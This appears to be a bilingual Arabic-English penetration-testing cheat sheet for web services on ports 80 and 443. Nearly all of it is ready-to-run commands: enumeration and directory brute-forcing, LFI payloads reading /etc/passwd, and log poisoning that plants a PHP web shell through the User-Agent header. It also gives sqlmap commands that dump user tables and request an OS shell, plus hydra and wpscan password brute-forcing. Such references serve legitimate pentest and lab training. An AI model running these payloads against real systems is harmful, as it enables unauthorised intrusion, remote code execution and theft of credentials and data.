HTTP & HTTPS — 80-443/TCP

HyperText Transfer Protocol — أكثر البورتات شيوعاً وتنوعاً من حيث الثغرات.


Enumeration

# Nmap
nmap -p 80,443 -sV 192.168.1.1
nmap -p 80,443 --script http-title,http-headers,http-methods,http-robots.txt,http-enum 192.168.1.1

# Whatweb
whatweb 192.168.1.1
whatweb -v http://192.168.1.1

# تقنيات و كون
# curl
curl -v http://192.168.1.1
curl -I http://192.168.1.1
curl -X OPTIONS http://192.168.1.1  # HTTP methods
# فحص المجلدات - Gobuster
gobuster dir -u http://192.168.1.1 -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://192.168.1.1 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt,bak

# feroxbuster (أسرع وأقوى)
feroxbuster -u http://192.168.1.1 -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -x php,html,txt

# ffuf
ffuf -u http://192.168.1.1/FUZZ -w /usr/share/wordlists/dirb/common.txt
ffuf -u http://192.168.1.1/FUZZ -w wordlist.txt -mc 200,301,302 -fc 404

# dirsearch
dirsearch -u http://192.168.1.1

# nikto
nikto -h http://192.168.1.1
nikto -h http://192.168.1.1 -Tuning 1234578

الثغرات والاستغلال

1. Directory Traversal / LFI

curl http://192.168.1.1/page.php?file=../../../../etc/passwd
curl http://192.168.1.1/page.php?file=../../../../etc/passwd%00
curl http://192.168.1.1/page.php?file=php://filter/convert.base64-encode/resource=/etc/passwd

# LFI لـ RCE عبر log poisoning
curl -A "<?php system($_GET['cmd']); ?>" http://192.168.1.1
curl http://192.168.1.1/page.php?file=../../../../var/log/apache2/access.log&cmd=id

2. SQLi أدوات

# sqlmap
sqlmap -u "http://192.168.1.1/page.php?id=1" --dbs
sqlmap -u "http://192.168.1.1/page.php?id=1" -D dbname --tables
sqlmap -u "http://192.168.1.1/page.php?id=1" -D dbname -T users --dump
sqlmap -u "http://192.168.1.1/login.php" --data="user=admin&pass=test" --dbs
sqlmap -u "http://192.168.1.1/page.php?id=1" --os-shell  # محاولة shell

3. Default Credentials

# أدوات الفحص
nikto -h http://192.168.1.1  # ينبه للـ default creds

# بروت فورس Login
hydra -l admin -P pass.txt http-post-form://192.168.1.1/login.php:user=^USER^&pass=^PASS^:Invalid

4. WordPress

# wpscan
wpscan --url http://192.168.1.1 --enumerate u,p,t,tt
wpscan --url http://192.168.1.1 -U users.txt -P pass.txt  # Brute
wpscan --url http://192.168.1.1 --enumerate vp  # vulnerable plugins

5. Subdomain & VHost Discovery

# ffuf
ffuf -u http://192.168.1.1 -H "Host: FUZZ.domain.local" -w subdomains.txt -mc 200,301,302

gobuster vhost -u http://domain.local -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt

أدوات